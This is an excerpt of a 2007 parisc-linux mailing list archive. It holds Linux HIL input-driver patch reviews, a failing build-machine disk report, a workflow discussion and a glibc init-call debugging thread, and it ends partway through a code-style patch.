>  	}
>  
> +	spin_lock_init(&hil_dev.lock);
>  	hil_dev.dev = input_allocate_device();
>  	if (!hil_dev.dev)
>  		return -ENOMEM;

>from here....

> @@ -295,7 +296,9 @@ err3:
>  	free_irq(HIL_IRQ, hil_dev.dev_id);
>  err2:
>  	release_region(HILBASE + HIL_DATA, 2);
> +#if defined(CONFIG_HP300)
>  err1:
> +#endif
>  	input_free_device(hil_dev.dev);
>  	hil_dev.dev = NULL;
>  	return err;

Can you drop this ^^ piece of this patch ?
Cyrill V. Gorcunov's (<gorcunov@gmail.com>) HP300 patches from a few days ago are more correct since they include the release_region() call.

Or, if you want, I can resend this whole patch against your input-tree ?
Just let me know...

Helge


> @@ -307,7 +310,7 @@ static int __init
>  hil_init_chip(struct parisc_device *dev)
>  {
>  	if (!dev->irq) {
> -		printk(KERN_WARNING "HIL: IRQ not found for HIL bus at 0x%08lx\n", dev->hpa.start);
> +		printk(KERN_WARNING "HIL: IRQ not found for HIL bus at 0x%08lux\n", (unsigned long)dev->hpa.start);
>  		return -ENODEV;
>  	}
>  
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gsyprf11 has a failing root disk
Date: Sat, 17 Feb 2007 16:23:40 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <1171751021.3379.27.camel__8805.24235913089$1416624295$gmane$org@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624295 22821 80.91.229.3 (22 Nov 2014 02:44:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:55 +0000 (UTC)
To: Parisc List <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Feb 2007 22:23:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx093) with SMTP; 17 Feb 2007 23:23:53 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 745337DAE6;
	Sat, 17 Feb 2007 15:23:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23092-10; Sat, 17 Feb 2007 15:23:51 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 601077DADE;
	Sat, 17 Feb 2007 15:23:49 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 446FE7DAE2
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 15:23:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23092-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 15:23:43 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 43B137DADE
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 15:23:43 -0700 (MST)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l1HMNgx24735
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 17:23:42 -0500
X-Mailer: Evolution 2.8.3 (2.8.3-1.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: S/riLQ4BZDI4sbHGdWY2ewFxemhmY4Et
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24347

The log is full of these:

sd 1:0:15:0: SCSI error: return code = 0x8000002
sda: Current: sense key=0x4
    ASC=0x3 <<vendor>> ASCQ=0x80

The ASCQ is vendor specific, but the key means "hardware error" and ASC
0x03 is usually associated with some type of internal write error, so I
think it's safe to say the root disc is dying.  Can we get it replaced?

Thanks,

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Let's Try Something New(tm)
Date: Sat, 17 Feb 2007 23:24:56 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <200702172324.57167.deller__12373.1494335972$1416624296$gmane$org@gmx.de>
References: <20070217064648.GA2880@athena.road.mcmartin.ca>
	<20070217103018.GD26273@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624296 22824 80.91.229.3 (22 Nov 2014 02:44:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Feb 2007 22:25:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx022) with SMTP; 17 Feb 2007 23:25:11 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CEBA07DACA;
	Sat, 17 Feb 2007 15:25:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23301-07; Sat, 17 Feb 2007 15:25:07 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8A1A47DA8F;
	Sat, 17 Feb 2007 15:25:05 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 513327DA8A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 15:25:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23214-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 15:25:00 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 3444E7DA74
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 15:25:00 -0700 (MST)
Original-Received: (qmail invoked by alias); 17 Feb 2007 22:24:59 -0000
User-Agent: KMail/1.9.6
In-Reply-To: <20070217103018.GD26273@colo.lackof.org>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +vriLQgBZDI4sbHGdWY23gFxemhmY0GH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24348

Hi Kyle,

On Saturday 17 February 2007, Grant Grundler wrote:
> On Sat, Feb 17, 2007 at 01:46:48AM -0500, kyle mcmartin wrote:
> > And, well, I'm kind of getting sick of it. I propose for at least the next
> > few months, instead of everyone being able to pollute the shared tree, they
> > keep all their work in branches. Instead of merging or pushing, or whatever,
> > you can send the patches to the list for review. This will work more or less
> > like linux-kernel does, hopefully. 
> 
> Ok. Fair enough. Well said. 

Fine with me as well.

Thanks for the merging Kyle !

Helge


> Can someone with more git experience than I 
> have share a recipe for creating and committing to a git branch?
> Maybe post that on one of the existing HOW-TO web pages or a new wiki page?
> 
> And yes, the fact that SMP is broken bothers me too.
> I've spent some time looking at the cpu_possible_map patch pointed
> out by james bottomly (IIRC) and I haven't figure out why that
> has the impact that it does.
> 
> I also haven't had time to dig more into why the schedule is
> only running things on CPU 0.
> 
> thanks,
> grant
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gsyprf11 has a failing root disk
Date: Sat, 17 Feb 2007 18:56:31 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <20070218015631.GA6107__8633.59826985306$1416624296$gmane$org@colo.lackof.org>
References: <1171751021.3379.27.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624296 22826 80.91.229.3 (22 Nov 2014 02:44:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:56 +0000 (UTC)
Cc: Parisc List <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Feb 2007 01:56:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 18 Feb 2007 02:56:50 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4DA7F7DAE1;
	Sat, 17 Feb 2007 18:56:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24405-01; Sat, 17 Feb 2007 18:56:45 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 813EF7DADA;
	Sat, 17 Feb 2007 18:56:42 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 28DFB7DAD8
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 18:56:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23753-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 18:56:38 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 76AFD7DAD7
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 18:56:38 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id EC3B3368022;
	Sat, 17 Feb 2007 18:56:37 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06446-03; Sat, 17 Feb 2007 18:56:31 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 9398A36801D; Sat, 17 Feb 2007 18:56:31 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <1171751021.3379.27.camel@mulgrave.il.steeleye.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Bda/CFoKbHIy4q3NNjQ0GI8qJihyahDt
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24349

On Sat, Feb 17, 2007 at 04:23:40PM -0600, James Bottomley wrote:
> The log is full of these:
> 
> sd 1:0:15:0: SCSI error: return code = 0x8000002
> sda: Current: sense key=0x4
>     ASC=0x3 <<vendor>> ASCQ=0x80
> 
> The ASCQ is vendor specific, but the key means "hardware error" and ASC
> 0x03 is usually associated with some type of internal write error, so I
> think it's safe to say the root disc is dying.  Can we get it replaced?

Yes...jda and I already had this conversation.

I'm off to Lake Tahoe for the rest of the week.
But I'll ask Rick Jones if he can replace it with the "second"
disk from another system. Then from the console someone will
just need to fixup the network, add /etc/init.d/firewall, and 
mount /home. If that's all a bit much for someone, it will have
to wait until I'm back in 10 days and can head down to cupertino.

Note that /home on gsyprf11 wasn't doing too well either.

"We apologize for the inconvience."

*sigh*,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: call_init in libc6 2.3.6.ds1-11
Date: Sat, 17 Feb 2007 23:23:12 -0500 (EST)
Lines: 31
Approved: news@gmane.org
Message-ID: <200702180423.l1I4NCa8000957__10746.2734602906$1416624296$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440702171419v57a40e89i4f5baeb9702a15a@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624296 22828 80.91.229.3 (22 Nov 2014 02:44:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Feb 2007 04:23:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx093) with SMTP; 18 Feb 2007 05:23:23 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 98AE27DAA0;
	Sat, 17 Feb 2007 21:23:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25108-04; Sat, 17 Feb 2007 21:23:21 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EBA897DA94;
	Sat, 17 Feb 2007 21:23:18 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 444B07DA8F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 21:23:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25108-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 21:23:14 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 812707DA8B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 21:23:14 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1I4ND6R000959;
	Sat, 17 Feb 2007 23:23:13 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1I4NCa8000957;
	Sat, 17 Feb 2007 23:23:12 -0500 (EST)
In-Reply-To: <119aab440702171419v57a40e89i4f5baeb9702a15a@mail.gmail.com> from
	"Carlos O'Donell" at Feb 17, 2007 05:19:53 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 76CyNQoKZCEX4rGPamwh7qVwIGhpZUYw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24350

> So what is the verdict? I think the code looks right.
> 
> readelf -a /bin/bash shows:
>  0x0000000c (INIT)                       0x24198
> 
> This is a not an OPD, and therefore will have a local non-unique OPD
> constructed for the call.

See the same for INIT in /bin/sh.  However, the INIT value of interest
here is that for /lib/libc.so.6:

dave@mx3210:~/gnu/gcc-4.3/objdir/hppa-linux/libjava$ readelf -a /lib/libc.so.6|grep INIT
 0x0000000c (INIT)                       0x1f164

This was the value at r21 + 4.  This value also isn't an OPD.  However,
I showed before that init() didn't get called using an OPD.  As a result,
r19 was likely incorrect for the call.  See the code snippet in the
original report.

Possibly, there's a GCC optimization bug but I'm not sure.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dmitry Torokhov <dtor@insightbb.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PARISC] fix uninitialized spinlock in HIL keyboard driver
Date: Sun, 18 Feb 2007 02:24:47 -0500
Lines: 833
Approved: news@gmane.org
Message-ID: <200702180224.48281.dtor__23426.9388056875$1416624297$gmane$org@insightbb.com>
References: <11717457251848-git-send-email-kyle@parisc-linux.org> <11717457253477-git-send-email-kyle@parisc-linux.org> <200702172321.37036.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624297 22830 80.91.229.3 (22 Nov 2014 02:44:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:57 +0000 (UTC)
Cc: Kyle McMartin <kyle@parisc-linux.org>,
 parisc-linux@lists.parisc-linux.org,
 akpm@osdl.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dtor@insightbb.com>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Feb 2007 07:24:51 -0000
Original-Received: from gateway.insightbb.com (EHLO asav03.insightbb.com) [74.128.0.19]
  by mx0.gmx.net (mx052) with SMTP; 18 Feb 2007 08:24:51 +0100
Original-Received: from 74-133-19-184.dhcp.insightbb.com (HELO mail.corenet.homeip.net) ([74.133.19.184])
  by asav03.insightbb.com with ESMTP; 18 Feb 2007 02:24:49 -0500
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AusRAN+N10VKhRO4UGdsb2JhbACHHodKAQEqknwBAQE
User-Agent: KMail/1.9.3
In-Reply-To: <200702172321.37036.deller@gmx.de>
Content-Disposition: inline
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: F4uyNSdKZCEX4rGPamwhDIpwIGhpZQYI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24351

Hi Helge,

On Saturday 17 February 2007 17:21, Helge Deller wrote:
> 
> Can you drop this ^^ piece of this patch ?
> Cyrill V. Gorcunov's (<gorcunov@gmail.com>) HP300 patches from a few days ago
> are more correct since they include the release_region() call. 
> 

I have 2 patches from Cyrill applied to my tree:
 - one from couple days ago dealing with release_region() (2nd version that was
   acked by you)
 - another came to me throughg Andrew and deals with handling errors from
   input_register_device(), request_region(), request_irq() + whitespace cleanup.


> Or, if you want, I can resend this whole patch against your input-tree ?
> Just let me know...
> 

If you could redo the patches against my tree that would be nice - I am having
trouble applying "[PARISC] hp_sdc: fix request_irq()/free_irq() parameters"

Btw, is there any chance we coudl fix the code style in hil drivers. They are
very different from the rest of the kernel. Something like patch below...
 
-- 
Dmitry


Signed-off-by: Dmitry Torokhov <dtor@mail.ru>
---

 drivers/input/serio/hil_mlc.c |  381 +++++++++++++++++++++++++-----------------
 1 files changed, 228 insertions(+), 153 deletions(-)

Index: work/drivers/input/serio/hil_mlc.c
===================================================================
--- work.orig/drivers/input/serio/hil_mlc.c
+++ work/drivers/input/serio/hil_mlc.c
@@ -32,11 +32,11 @@
  *
  *	Driver theory of operation:
  *
- *	Some access methods and an ISR is defined by the sub-driver 
- *	(e.g. hp_sdc_mlc.c).  These methods are expected to provide a 
- *	few bits of logic in addition to raw access to the HIL MLC, 
- *	specifically, the ISR, which is entirely registered by the 
- *	sub-driver and invoked directly, must check for record 
+ *	Some access methods and an ISR is defined by the sub-driver
+ *	(e.g. hp_sdc_mlc.c).  These methods are expected to provide a
+ *	few bits of logic in addition to raw access to the HIL MLC,
+ *	specifically, the ISR, which is entirely registered by the
+ *	sub-driver and invoked directly, must check for record
  *	termination or packet match, at which point a semaphore must
  *	be cleared and then the hil_mlcs_tasklet must be scheduled.
  *
@@ -47,7 +47,7 @@
  *	itself if output is pending.  (This rescheduling should be replaced
  *	at some point with a sub-driver-specific mechanism.)
  *
- *	A timer task prods the tasklet once per second to prevent 
+ *	A timer task prods the tasklet once per second to prevent
  *	hangups when attached devices do not return expected data
  *	and to initiate probes of the loop for new devices.
  */
@@ -83,69 +83,86 @@ DECLARE_TASKLET_DISABLED(hil_mlcs_taskle
 
 /********************** Device info/instance management **********************/
 
-static void hil_mlc_clear_di_map (hil_mlc *mlc, int val) {
+static void hil_mlc_clear_di_map(hil_mlc *mlc, int val)
+{
 	int j;
-	for (j = val; j < 7 ; j++) {
+
+	for (j = val; j < 7 ; j++)
 		mlc->di_map[j] = -1;
-	}
 }
 
-static void hil_mlc_clear_di_scratch (hil_mlc *mlc) {
-	memset(&(mlc->di_scratch), 0, sizeof(mlc->di_scratch));
+static void hil_mlc_clear_di_scratch(hil_mlc *mlc)
+{
